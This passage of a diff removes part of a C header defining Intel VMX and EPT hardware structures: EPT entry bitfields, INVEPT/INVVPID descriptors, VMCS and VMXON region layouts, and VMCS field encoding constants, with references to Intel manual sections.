- * [Bit 2] If the "mode-based execute control for EPT" VM-execution control is 0, execute access; indicates whether - * instruction fetches are allowed from the 4-KByte page controlled by this entry. - * If that control is 1, execute access for supervisor-mode linear addresses; indicates whether instruction fetches are - * allowed from supervisor-mode linear addresses in the 4-KByte page controlled by this entry. - */ - uint64_t execute_access : 1; -#define EPTE_EXECUTE_ACCESS_BIT 2 -#define EPTE_EXECUTE_ACCESS_FLAG 0x04 -#define EPTE_EXECUTE_ACCESS_MASK 0x01 -#define EPTE_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bits 5:3] EPT memory type for this 4-KByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t memory_type : 3; -#define EPTE_MEMORY_TYPE_BIT 3 -#define EPTE_MEMORY_TYPE_FLAG 0x38 -#define EPTE_MEMORY_TYPE_MASK 0x07 -#define EPTE_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - - /** - * [Bit 6] Ignore PAT memory type for this 4-KByte page. - * - * @see Vol3C[28.2.6(EPT and memory Typing)] - */ - uint64_t ignore_pat : 1; -#define EPTE_IGNORE_PAT_BIT 6 -#define EPTE_IGNORE_PAT_FLAG 0x40 -#define EPTE_IGNORE_PAT_MASK 0x01 -#define EPTE_IGNORE_PAT(_) (((_) >> 6) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 8] If bit 6 of EPTP is 1, accessed flag for EPT; indicates whether software has accessed the 4-KByte page - * referenced by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t accessed : 1; -#define EPTE_ACCESSED_BIT 8 -#define EPTE_ACCESSED_FLAG 0x100 -#define EPTE_ACCESSED_MASK 0x01 -#define EPTE_ACCESSED(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] If bit 6 of EPTP is 1, dirty flag for EPT; indicates whether software has written to the 4-KByte page referenced - * by this entry. Ignored if bit 6 of EPTP is 0. - * - * @see Vol3C[28.2.4(Accessed and Dirty Flags for EPT)] - */ - uint64_t dirty : 1; -#define EPTE_DIRTY_BIT 9 -#define EPTE_DIRTY_FLAG 0x200 -#define EPTE_DIRTY_MASK 0x01 -#define EPTE_DIRTY(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] Execute access for user-mode linear addresses. If the "mode-based execute control for EPT" VM-execution control - * is 1, indicates whether instruction fetches are allowed from user-mode linear addresses in the 4-KByte page controlled - * by this entry. If that control is 0, this bit is ignored. - */ - uint64_t user_mode_execute : 1; -#define EPTE_USER_MODE_EXECUTE_BIT 10 -#define EPTE_USER_MODE_EXECUTE_FLAG 0x400 -#define EPTE_USER_MODE_EXECUTE_MASK 0x01 -#define EPTE_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved2 : 1; - - /** - * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. - */ - uint64_t page_frame_number : 36; -#define EPTE_PAGE_FRAME_NUMBER_BIT 12 -#define EPTE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPTE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPTE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 15; - - /** - * [Bit 63] Suppress \#VE. If the "EPT-violation \#VE" VM-execution control is 1, EPT violations caused by accesses to this - * page are convertible to virtualization exceptions only if this bit is 0. If "EPT-violation \#VE" VMexecution control is - * 0, this bit is ignored. - * - * @see Vol3C[25.5.6.1(Convertible EPT Violations)] - */ - uint64_t suppress_ve : 1; -#define EPTE_SUPPRESS_VE_BIT 63 -#define EPTE_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPTE_SUPPRESS_VE_MASK 0x01 -#define EPTE_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} epte; - -/** - * @brief Format of a common EPT Entry - */ -typedef union -{ - struct - { - uint64_t read_access : 1; -#define EPT_ENTRY_READ_ACCESS_BIT 0 -#define EPT_ENTRY_READ_ACCESS_FLAG 0x01 -#define EPT_ENTRY_READ_ACCESS_MASK 0x01 -#define EPT_ENTRY_READ_ACCESS(_) (((_) >> 0) & 0x01) - uint64_t write_access : 1; -#define EPT_ENTRY_WRITE_ACCESS_BIT 1 -#define EPT_ENTRY_WRITE_ACCESS_FLAG 0x02 -#define EPT_ENTRY_WRITE_ACCESS_MASK 0x01 -#define EPT_ENTRY_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - uint64_t execute_access : 1; -#define EPT_ENTRY_EXECUTE_ACCESS_BIT 2 -#define EPT_ENTRY_EXECUTE_ACCESS_FLAG 0x04 -#define EPT_ENTRY_EXECUTE_ACCESS_MASK 0x01 -#define EPT_ENTRY_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - uint64_t memory_type : 3; -#define EPT_ENTRY_MEMORY_TYPE_BIT 3 -#define EPT_ENTRY_MEMORY_TYPE_FLAG 0x38 -#define EPT_ENTRY_MEMORY_TYPE_MASK 0x07 -#define EPT_ENTRY_MEMORY_TYPE(_) (((_) >> 3) & 0x07) - uint64_t ignore_pat : 1; -#define EPT_ENTRY_IGNORE_PAT_BIT 6 -#define EPT_ENTRY_IGNORE_PAT_FLAG 0x40 -#define EPT_ENTRY_IGNORE_PAT_MASK 0x01 -#define EPT_ENTRY_IGNORE_PAT(_) (((_) >> 6) & 0x01) - uint64_t large_page : 1; -#define EPT_ENTRY_LARGE_PAGE_BIT 7 -#define EPT_ENTRY_LARGE_PAGE_FLAG 0x80 -#define EPT_ENTRY_LARGE_PAGE_MASK 0x01 -#define EPT_ENTRY_LARGE_PAGE(_) (((_) >> 7) & 0x01) - uint64_t accessed : 1; -#define EPT_ENTRY_ACCESSED_BIT 8 -#define EPT_ENTRY_ACCESSED_FLAG 0x100 -#define EPT_ENTRY_ACCESSED_MASK 0x01 -#define EPT_ENTRY_ACCESSED(_) (((_) >> 8) & 0x01) - uint64_t dirty : 1; -#define EPT_ENTRY_DIRTY_BIT 9 -#define EPT_ENTRY_DIRTY_FLAG 0x200 -#define EPT_ENTRY_DIRTY_MASK 0x01 -#define EPT_ENTRY_DIRTY(_) (((_) >> 9) & 0x01) - uint64_t user_mode_execute : 1; -#define EPT_ENTRY_USER_MODE_EXECUTE_BIT 10 -#define EPT_ENTRY_USER_MODE_EXECUTE_FLAG 0x400 -#define EPT_ENTRY_USER_MODE_EXECUTE_MASK 0x01 -#define EPT_ENTRY_USER_MODE_EXECUTE(_) (((_) >> 10) & 0x01) - uint64_t reserved1 : 1; - uint64_t page_frame_number : 36; -#define EPT_ENTRY_PAGE_FRAME_NUMBER_BIT 12 -#define EPT_ENTRY_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 -#define EPT_ENTRY_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF -#define EPT_ENTRY_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved2 : 15; - uint64_t suppress_ve : 1; -#define EPT_ENTRY_SUPPRESS_VE_BIT 63 -#define EPT_ENTRY_SUPPRESS_VE_FLAG 0x8000000000000000 -#define EPT_ENTRY_SUPPRESS_VE_MASK 0x01 -#define EPT_ENTRY_SUPPRESS_VE(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ept_entry; - -/** - * @defgroup ept_table_level \ - * EPT Table level numbers - * - * EPT Table level numbers. - * @{ - */ -#define EPT_LEVEL_PML4E 0x00000003 -#define EPT_LEVEL_PDPTE 0x00000002 -#define EPT_LEVEL_PDE 0x00000001 -#define EPT_LEVEL_PTE 0x00000000 - /** - * @} - */ - - /** - * @defgroup ept_entry_count \ - * EPT Entry counts - * - * EPT Entry counts. - * @{ - */ -#define EPT_PML4E_ENTRY_COUNT 0x00000200 -#define EPT_PDPTE_ENTRY_COUNT 0x00000200 -#define EPT_PDE_ENTRY_COUNT 0x00000200 -#define EPT_PTE_ENTRY_COUNT 0x00000200 - /** - * @} - */ - - /** - * @} - */ - -typedef enum -{ - /** - * If the INVEPT type is 1, the logical processor invalidates all guest-physical mappings and combined mappings associated - * with the EP4TA specified in the INVEPT descriptor. Combined mappings for that EP4TA are invalidated for all VPIDs and - * all PCIDs. (The instruction may invalidate mappings associated with other EP4TAs.) - */ - invept_single_context = 0x00000001, - - /** - * If the INVEPT type is 2, the logical processor invalidates guest-physical mappings and combined mappings associated with - * all EP4TAs (and, for combined mappings, for all VPIDs and PCIDs). - */ - invept_all_context = 0x00000002, -} invept_type; - -typedef enum -{ - /** - * If the INVVPID type is 0, the logical processor invalidates linear mappings and combined mappings associated with the - * VPID specified in the INVVPID descriptor and that would be used to translate the linear address specified in of the - * INVVPID descriptor. Linear mappings and combined mappings for that VPID and linear address are invalidated for all PCIDs - * and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other VPIDs and - * for other linear addresses). - */ - invvpid_individual_address = 0x00000000, - - /** - * If the INVVPID type is 1, the logical processor invalidates all linear mappings and combined mappings associated with - * the VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for - * all PCIDs and, for combined mappings, all EP4TAs. (The instruction may also invalidate mappings associated with other - * VPIDs). - */ - invvpid_single_context = 0x00000001, - - /** - * If the INVVPID type is 2, the logical processor invalidates linear mappings and combined mappings associated with all - * VPIDs except VPID 0000H and with all PCIDs. (The instruction may also invalidate linear mappings with VPID 0000H.) - * Combined mappings are invalidated for all EP4TAs. - */ - invvpid_all_context = 0x00000002, - - /** - * If the INVVPID type is 3, the logical processor invalidates linear mappings and combined mappings associated with the - * VPID specified in the INVVPID descriptor. Linear mappings and combined mappings for that VPID are invalidated for all - * PCIDs and, for combined mappings, all EP4TAs. The logical processor is not required to invalidate information that was - * used for global translations (although it may do so). (The instruction may also invalidate mappings associated with - * other VPIDs). - * - * @see Vol3C[4.10(Caching Translation Information)] - */ - invvpid_single_context_retaining_globals = 0x00000003, -} invvpid_type; - -typedef struct -{ - uint64_t ept_pointer; - - /** - * Must be zero. - */ - uint64_t reserved; -} invept_descriptor; - -typedef struct -{ - uint16_t vpid; - - /** - * Must be zero. - */ - uint16_t reserved1; - - /** - * Must be zero. - */ - uint32_t reserved2; - uint64_t linear_address; -} invvpid_descriptor; - -/** - * @brief Format of the VMCS Region - * - * A logical processor uses virtual-machine control data structures (VMCSs) while it is in VMX operation. These manage - * transitions into and out of VMX non-root operation (VM entries and VM exits) as well as processor behavior in VMX - * non-root operation. This structure is manipulated by the new instructions VMCLEAR, VMPTRLD, VMREAD, and VMWRITE. - * A VMCS region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting - * the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] (reference) - */ -typedef struct -{ - struct - { - /** - * @brief VMCS revision identifier - * - * [Bits 30:0] Processors that maintain VMCS data in different formats (see below) use different VMCS revision identifiers. - * These identifiers enable software to avoid using a VMCS region formatted for one processor on a processor that uses a - * different format. - * Software should write the VMCS revision identifier to the VMCS region before using that region for a VMCS. The VMCS - * revision identifier is never written by the processor; VMPTRLD fails if its operand references a VMCS region whose VMCS - * revision identifier differs from that used by the processor. - * Software can discover the VMCS revision identifier that a processor uses by reading the VMX capability MSR - * IA32_VMX_BASIC. - * - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint32_t revision_id : 31; - - /** - * @brief Shadow-VMCS indicator - * - * [Bit 31] Software should clear or set the shadow-VMCS indicator depending on whether the VMCS is to be an ordinary VMCS - * or a shadow VMCS. VMPTRLD fails if the shadow-VMCS indicator is set and the processor does not support the 1-setting of - * the "VMCS shadowing" VM-execution control. Software can discover support for this setting by reading the VMX capability - * MSR IA32_VMX_PROCBASED_CTLS2. - * - * @see Vol3C[24.10(VMCS TYPES ORDINARY AND SHADOW)] - */ - uint32_t shadow_vmcs_indicator : 1; - }; - - - /** - * @brief VMX-abort indicator - * - * The contents of these bits do not control processor operation in any way. A logical processor writes a non-zero value - * into these bits if a VMX abort occurs. Software may also write into this field. - * - * @see Vol3D[27.7(VMX Aborts)] - */ - uint32_t abort_indicator; - - /** - * @brief VMCS data (implementation-specific format) - * - * These parts of the VMCS control VMX non-root operation and the VMX transitions. - * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should - * maintain the VMCS region and related structures in writeback cacheable memory. Future implementations may allow or - * require a different memory type. Software should consult the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.11.4(Software Access to Related Structures)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint8_t data[4088]; -} vmcs; - -/** - * @brief Format of the VMXON Region - * - * Before executing VMXON, software allocates a region of memory that the logical processor uses to support VMX operation. - * This region is called the VMXON region. - * A VMXON region comprises up to 4-KBytes. The exact size is implementation specific and can be determined by consulting - * the VMX capability MSR IA32_VMX_BASIC. - * - * @see Vol3C[24.11.5(VMXON Region)] (reference) - */ -typedef struct -{ - struct - { - /** - * @brief VMCS revision identifier - * - * [Bits 30:0] Before executing VMXON, software should write the VMCS revision identifier to the VMXON region. - * (Specifically, it should write the 31-bit VMCS revision identifier to bits 30:0 of the first 4 bytes of the VMXON - * region; bit 31 should be cleared to 0.) - * - * @see VMCS - * @see Vol3C[24.2(FORMAT OF THE VMCS REGION)] - * @see Vol3C[24.11.5(VMXON Region)] - */ - uint32_t revision_id : 31; - - /** - * [Bit 31] Bit 31 is always 0. - */ - uint32_t must_be_zero : 1; - }; - - - /** - * @brief VMXON data (implementation-specific format) - * - * The format of these data is implementation-specific. To ensure proper behavior in VMX operation, software should not - * access or modify the VMXON region of a logical processor between execution of VMXON and VMXOFF on that logical - * processor. Doing otherwise may lead to unpredictable behavior. - * - * @see Vol3C[24.11.4(Software Access to Related Structures)] - * @see Vol3D[A.1(BASIC VMX INFORMATION)] - */ - uint8_t data[4092]; -} vmxon; - -/** - * @defgroup vmcs_fields \ - * VMCS (VM Control Structure) - * - * Every component of the VMCS is encoded by a 32-bit field that can be used by VMREAD and VMWRITE. This enumerates all - * fields in the VMCS and their encodings. Fields are grouped by width (16-bit, 32-bit, etc.) and type (guest-state, - * host-state, etc.). - * - * @see Vol3D[B(APPENDIX B FIELD ENCODING IN VMCS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * [Bit 0] Access type (0 = full; 1 = high); must be full for 16-bit, 32-bit, and natural-width fields. - */ - uint16_t access_type : 1; -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_BIT 0 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_FLAG 0x01 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE_MASK 0x01 -#define VMCS_COMPONENT_ENCODING_ACCESS_TYPE(_) (((_) >> 0) & 0x01) - - /** - * [Bits 9:1] Index. - */ - uint16_t index : 9; -#define VMCS_COMPONENT_ENCODING_INDEX_BIT 1 -#define VMCS_COMPONENT_ENCODING_INDEX_FLAG 0x3FE -#define VMCS_COMPONENT_ENCODING_INDEX_MASK 0x1FF -#define VMCS_COMPONENT_ENCODING_INDEX(_) (((_) >> 1) & 0x1FF) - - /** - * [Bits 11:10] Type: - * 0: control - * 1: VM-exit information - * 2: guest state - * 3: host state - */ - uint16_t type : 2; -#define VMCS_COMPONENT_ENCODING_TYPE_BIT 10 -#define VMCS_COMPONENT_ENCODING_TYPE_FLAG 0xC00 -#define VMCS_COMPONENT_ENCODING_TYPE_MASK 0x03 -#define VMCS_COMPONENT_ENCODING_TYPE(_) (((_) >> 10) & 0x03) - - /** - * [Bit 12] Reserved (must be 0). - */ - uint16_t must_be_zero : 1; -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_BIT 12 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_FLAG 0x1000 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO_MASK 0x01 -#define VMCS_COMPONENT_ENCODING_MUST_BE_ZERO(_) (((_) >> 12) & 0x01) - - /** - * [Bits 14:13] Width: - * 0: 16-bit - * 1: 64-bit - * 2: 32-bit - * 3: natural-width - */ - uint16_t width : 2; -#define VMCS_COMPONENT_ENCODING_WIDTH_BIT 13 -#define VMCS_COMPONENT_ENCODING_WIDTH_FLAG 0x6000 -#define VMCS_COMPONENT_ENCODING_WIDTH_MASK 0x03 -#define VMCS_COMPONENT_ENCODING_WIDTH(_) (((_) >> 13) & 0x03) - uint16_t reserved1 : 1; - }; - - uint16_t flags; -} vmcs_component_encoding; - -/** - * @defgroup vmcs_16_bit \ - * 16-Bit Fields - * - * 16-Bit Fields. - * - * @see Vol3D[B.1(16-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_16_bit_control_fields \ - * 16-Bit Control Fields - * - * 16-Bit Control Fields. - * @{ - */ - /** - * Virtual-processor identifier (VPID). - * - * @remarks This field exists only on processors that support the 1-setting of the "enable VPID" VM-execution control. - */ -#define VMCS_CTRL_VIRTUAL_PROCESSOR_IDENTIFIER 0x00000000 - - /** - * Posted-interrupt notification vector. - * - * @remarks This field exists only on processors that support the 1-setting of the "process posted interrupts" VM-execution - * control. - */ -#define VMCS_CTRL_POSTED_INTERRUPT_NOTIFICATION_VECTOR 0x00000002 - - /** - * EPTP index. - * - * @remarks This field exists only on processors that support the 1-setting of the "EPT-violation \#VE" VM-execution - * control. - */ -#define VMCS_CTRL_EPTP_INDEX 0x00000004 - /** - * @} - */ - - /** - * @defgroup vmcs_16_bit_guest_state_fields \ - * 16-Bit Guest-State Fields - * - * 16-Bit Guest-State Fields. - * @{ - */ - /** - * Guest ES selector. - */ -#define VMCS_GUEST_ES_SELECTOR 0x00000800 - - /** - * Guest CS selector. - */ -#define VMCS_GUEST_CS_SELECTOR 0x00000802 - - /** - * Guest SS selector. - */ -#define VMCS_GUEST_SS_SELECTOR 0x00000804 - - /** - * Guest DS selector. - */ -#define VMCS_GUEST_DS_SELECTOR 0x00000806 - - /** - * Guest FS selector. - */ -#define VMCS_GUEST_FS_SELECTOR 0x00000808 - - /** - * Guest GS selector. - */ -#define VMCS_GUEST_GS_SELECTOR 0x0000080A - - /** - * Guest LDTR selector. - */ -#define VMCS_GUEST_LDTR_SELECTOR 0x0000080C - - /** - * Guest TR selector. - */ -#define VMCS_GUEST_TR_SELECTOR 0x0000080E - - /** - * Guest interrupt status. - * - * @remarks This field exists only on processors that support the 1-setting of the "virtual-interrupt delivery" - * VM-execution control. - */ -#define VMCS_GUEST_INTERRUPT_STATUS 0x00000810 - - /** - * PML index. - * - * @remarks This field exists only on processors that support the 1-setting of the "enable PML" VM-execution control. - */ -#define VMCS_GUEST_PML_INDEX 0x00000812 - /** - * @} - */ - - /** - * @defgroup vmcs_16_bit_host_state_fields \ - * 16-Bit Host-State Fields - * - * 16-Bit Host-State Fields. - * @{ - */ - /** - * Host ES selector. - */ -#define VMCS_HOST_ES_SELECTOR 0x00000C00 - - /** - * Host CS selector. - */ -#define VMCS_HOST_CS_SELECTOR 0x00000C02 - - /** - * Host SS selector. - */ -#define VMCS_HOST_SS_SELECTOR 0x00000C04 - - /** - * Host DS selector. - */ -#define VMCS_HOST_DS_SELECTOR 0x00000C06 - - /** - * Host FS selector. - */ -#define VMCS_HOST_FS_SELECTOR 0x00000C08 - - /** - * Host GS selector. - */ -#define VMCS_HOST_GS_SELECTOR 0x00000C0A - - /** - * Host TR selector. - */ -#define VMCS_HOST_TR_SELECTOR 0x00000C0C - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit \ - * 64-Bit Fields - * - * 64-Bit Fields. - * - * @see Vol3D[B.2(64-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_64_bit_control_fields \ - * 64-Bit Control Fields - * - * 64-Bit Control Fields. - * @{ - */ - /** - * Address of I/O bitmap A. - */ -#define VMCS_CTRL_IO_BITMAP_A_ADDRESS 0x00002000 - - /** - * Address of I/O bitmap B. - */ -#define VMCS_CTRL_IO_BITMAP_B_ADDRESS 0x00002002 - - /** - * Address of MSR bitmaps. - */ -#define VMCS_CTRL_MSR_BITMAP_ADDRESS 0x00002004 - - /** - * VM-exit MSR-store address. - */ -#define VMCS_CTRL_VMEXIT_MSR_STORE_ADDRESS 0x00002006 - - /** - * VM-exit MSR-load address. - */ -#define VMCS_CTRL_VMEXIT_MSR_LOAD_ADDRESS 0x00002008 - - /** - * VM-entry MSR-load address. - */ -#define VMCS_CTRL_VMENTRY_MSR_LOAD_ADDRESS 0x0000200A - - /** - * Executive-VMCS pointer. - */ -#define VMCS_CTRL_EXECUTIVE_VMCS_POINTER 0x0000200C - - /** - * PML address. - */ -#define VMCS_CTRL_PML_ADDRESS 0x0000200E - - /** - * TSC offset. - */ -#define VMCS_CTRL_TSC_OFFSET 0x00002010 - - /** - * Virtual-APIC address. - */ -#define VMCS_CTRL_VIRTUAL_APIC_ADDRESS 0x00002012 - - /** - * APIC-access address. - */ -#define VMCS_CTRL_APIC_ACCESS_ADDRESS 0x00002014 - - /** - * Posted-interrupt descriptor address - */ -#define VMCS_CTRL_POSTED_INTERRUPT_DESCRIPTOR_ADDRESS 0x00002016 - - /** - * VM-function controls. - */ -#define VMCS_CTRL_VMFUNC_CONTROLS 0x00002018 - - /** - * EPT pointer. - */ -#define VMCS_CTRL_EPT_POINTER 0x0000201A - - /** - * EOI-exit bitmap 0. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_0 0x0000201C - - /** - * EOI-exit bitmap 1. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_1 0x0000201E - - /** - * EOI-exit bitmap 2. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_2 0x00002020 - - /** - * EOI-exit bitmap 3. - */ -#define VMCS_CTRL_EOI_EXIT_BITMAP_3 0x00002022 - - /** - * EPTP-list address. - */ -#define VMCS_CTRL_EPT_POINTER_LIST_ADDRESS 0x00002024 - - /** - * VMREAD-bitmap address. - */ -#define VMCS_CTRL_VMREAD_BITMAP_ADDRESS 0x00002026 - - /** - * VMWRITE-bitmap address. - */ -#define VMCS_CTRL_VMWRITE_BITMAP_ADDRESS 0x00002028 - - /** - * Virtualization-exception information address. - */ -#define VMCS_CTRL_VIRTUALIZATION_EXCEPTION_INFORMATION_ADDRESS 0x0000202A - - /** - * XSS-exiting bitmap. - */ -#define VMCS_CTRL_XSS_EXITING_BITMAP 0x0000202C - - /** - * ENCLS-exiting bitmap. - */ -#define VMCS_CTRL_ENCLS_EXITING_BITMAP 0x0000202E - - /** - * TSC multiplier. - */ -#define VMCS_CTRL_TSC_MULTIPLIER 0x00002032 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_read_only_data_fields \ - * 64-Bit Read-Only Data Field - * - * 64-Bit Read-Only Data Field. - * @{ - */ - /** - * Guest-physical address. - */ -#define VMCS_GUEST_PHYSICAL_ADDRESS 0x00002400 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_guest_state_fields \ - * 64-Bit Guest-State Fields - * - * 64-Bit Guest-State Fields. - * @{ - */ - /** - * VMCS link pointer. - */ -#define VMCS_GUEST_VMCS_LINK_POINTER 0x00002800 - - /** - * Guest IA32_DEBUGCTL. - */ -#define VMCS_GUEST_DEBUGCTL 0x00002802 - - /** - * Guest IA32_PAT. - */ -#define VMCS_GUEST_PAT 0x00002804 - - /** - * Guest IA32_EFER. - */ -#define VMCS_GUEST_EFER 0x00002806 - - /** - * Guest IA32_PERF_GLOBAL_CTRL. - */ -#define VMCS_GUEST_PERF_GLOBAL_CTRL 0x00002808 - - /** - * Guest PDPTE0. - */ -#define VMCS_GUEST_PDPTE0 0x0000280A - - /** - * Guest PDPTE1. - */ -#define VMCS_GUEST_PDPTE1 0x0000280C - - /** - * Guest PDPTE2. - */ -#define VMCS_GUEST_PDPTE2 0x0000280E - - /** - * Guest PDPTE3. - */ -#define VMCS_GUEST_PDPTE3 0x00002810 - - /** - * Guest IA32_BNDCFGS. - */ -#define VMCS_GUEST_BNDCFGS 0x00002812 - - /** - * Guest IA32_RTIT_CTL. - */ -#define VMCS_GUEST_RTIT_CTL 0x00002814 - /** - * @} - */ - - /** - * @defgroup vmcs_64_bit_host_state_fields \ - * 64-Bit Host-State Fields - * - * 64-Bit Host-State Fields. - * @{ - */ - /** - * Host IA32_PAT. - */ -#define VMCS_HOST_PAT 0x00002C00 - - /** - * Host IA32_EFER. - */ -#define VMCS_HOST_EFER 0x00002C02 - - /** - * Host IA32_PERF_GLOBAL_CTRL. - */ -#define VMCS_HOST_PERF_GLOBAL_CTRL 0x00002C04 - /** - * @} - */ - - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit \ - * 32-Bit Fields - * - * 32-Bit Fields. - * - * @see Vol3D[B.3(32-BIT FIELDS)] (reference) - * @{ - */ - /** - * @defgroup vmcs_32_bit_control_fields \ - * 32-Bit Control Fields - * - * 32-Bit Control Fields. - * @{ - */ - /** - * Pin-based VM-execution controls. - */ -#define VMCS_CTRL_PIN_BASED_VM_EXECUTION_CONTROLS 0x00004000 - - /** - * Primary processor-based VM-execution controls. - */ -#define VMCS_CTRL_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x00004002 - - /** - * Exception bitmap. - */ -#define VMCS_CTRL_EXCEPTION_BITMAP 0x00004004 - - /** - * Page-fault error-code mask. - */ -#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MASK 0x00004006 - - /** - * Page-fault error-code match. - */ -#define VMCS_CTRL_PAGEFAULT_ERROR_CODE_MATCH 0x00004008 - - /** - * CR3-target count. - */ -#define VMCS_CTRL_CR3_TARGET_COUNT 0x0000400A - - /** - * VM-exit controls. - */ -#define VMCS_CTRL_VMEXIT_CONTROLS 0x0000400C - - /** - * VM-exit MSR-store count. - */ -#define VMCS_CTRL_VMEXIT_MSR_STORE_COUNT 0x0000400E - - /** - * VM-exit MSR-load count. - */ -#define VMCS_CTRL_VMEXIT_MSR_LOAD_COUNT 0x00004010 - - /** - * VM-entry controls. - */ -#define VMCS_CTRL_VMENTRY_CONTROLS 0x00004012 - - /** - * VM-entry MSR-load count. - */ -#define VMCS_CTRL_VMENTRY_MSR_LOAD_COUNT 0x00004014 - - /** - * VM-entry interruption-information field. - */ -#define VMCS_CTRL_VMENTRY_INTERRUPTION_INFORMATION_FIELD 0x00004016 - - /** - * VM-entry exception error code. - */ -#define VMCS_CTRL_VMENTRY_EXCEPTION_ERROR_CODE 0x00004018 - - /** - * VM-entry instruction length. - */ -#define VMCS_CTRL_VMENTRY_INSTRUCTION_LENGTH 0x0000401A - - /** - * TPR threshold. - */ -#define VMCS_CTRL_TPR_THRESHOLD 0x0000401C - - /** - * Secondary processor-based VM-execution controls. - */ -#define VMCS_CTRL_SECONDARY_PROCESSOR_BASED_VM_EXECUTION_CONTROLS 0x0000401E - - /** - * PLE_Gap. - */ -#define VMCS_CTRL_PLE_GAP 0x00004020 - - /** - * PLE_Window. - */ -#define VMCS_CTRL_PLE_WINDOW 0x00004022 - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_read_only_data_fields \ - * 32-Bit Read-Only Data Fields - * - * 32-Bit Read-Only Data Fields. - * @{ - */ - /** - * VM-instruction error. - */ -#define VMCS_VM_INSTRUCTION_ERROR 0x00004400 - - /** - * Exit reason. - */ -#define VMCS_EXIT_REASON 0x00004402 - - /** - * VM-exit interruption information. - */ -#define VMCS_VMEXIT_INTERRUPTION_INFORMATION 0x00004404 - - /** - * VM-exit interruption error code. - */ -#define VMCS_VMEXIT_INTERRUPTION_ERROR_CODE 0x00004406 - - /** - * IDT-vectoring information field. - */ -#define VMCS_IDT_VECTORING_INFORMATION 0x00004408 - - /** - * IDT-vectoring error code. - */ -#define VMCS_IDT_VECTORING_ERROR_CODE 0x0000440A - - /** - * VM-exit instruction length. - */ -#define VMCS_VMEXIT_INSTRUCTION_LENGTH 0x0000440C - - /** - * VM-exit instruction information. - */ -#define VMCS_VMEXIT_INSTRUCTION_INFO 0x0000440E - /** - * @} - */ - - /** - * @defgroup vmcs_32_bit_guest_state_fields \ - * 32-Bit Guest-State Fields - * - * 32-Bit Guest-State Fields. - * @{ - */ - /** - * Guest ES limit. - */ -#define VMCS_GUEST_ES_LIMIT 0x00004800 - - /** - * Guest CS limit. - */ -#define VMCS_GUEST_CS_LIMIT 0x00004802 - - /** - * Guest SS limit. - */ -#define VMCS_GUEST_SS_LIMIT 0x00004804 - - /** - * Guest DS limit. - */ -#define VMCS_GUEST_DS_LIMIT 0x00004806 - - /** - * Guest FS limit. - */ -#define VMCS_GUEST_FS_LIMIT 0x00004808 - - /** - * Guest GS limit. - */ -#define VMCS_GUEST_GS_LIMIT 0x0000480A - - /** - * Guest LDTR limit. - */ -#define VMCS_GUEST_LDTR_LIMIT 0x0000480C - - /** - * Guest TR limit. - */ -#define VMCS_GUEST_TR_LIMIT 0x0000480E - - /** - * Guest GDTR limit. - */ -#define VMCS_GUEST_GDTR_LIMIT 0x00004810 - - /** - * Guest IDTR limit. - */ -#define VMCS_GUEST_IDTR_LIMIT 0x00004812 - - /** - * Guest ES access rights. - */ -#define VMCS_GUEST_ES_ACCESS_RIGHTS 0x00004814 - - /** - * Guest CS access rights. - */ -#define VMCS_GUEST_CS_ACCESS_RIGHTS 0x00004816 - - /** - * Guest SS access rights. - */ -#define VMCS_GUEST_SS_ACCESS_RIGHTS 0x00004818 - - /** - * Guest DS access rights. - */ -#define VMCS_GUEST_DS_ACCESS_RIGHTS 0x0000481A - - /** - * Guest FS access rights. - */ -#define VMCS_GUEST_FS_ACCESS_RIGHTS 0x0000481C - - /** - * Guest GS access rights. - */ -#define 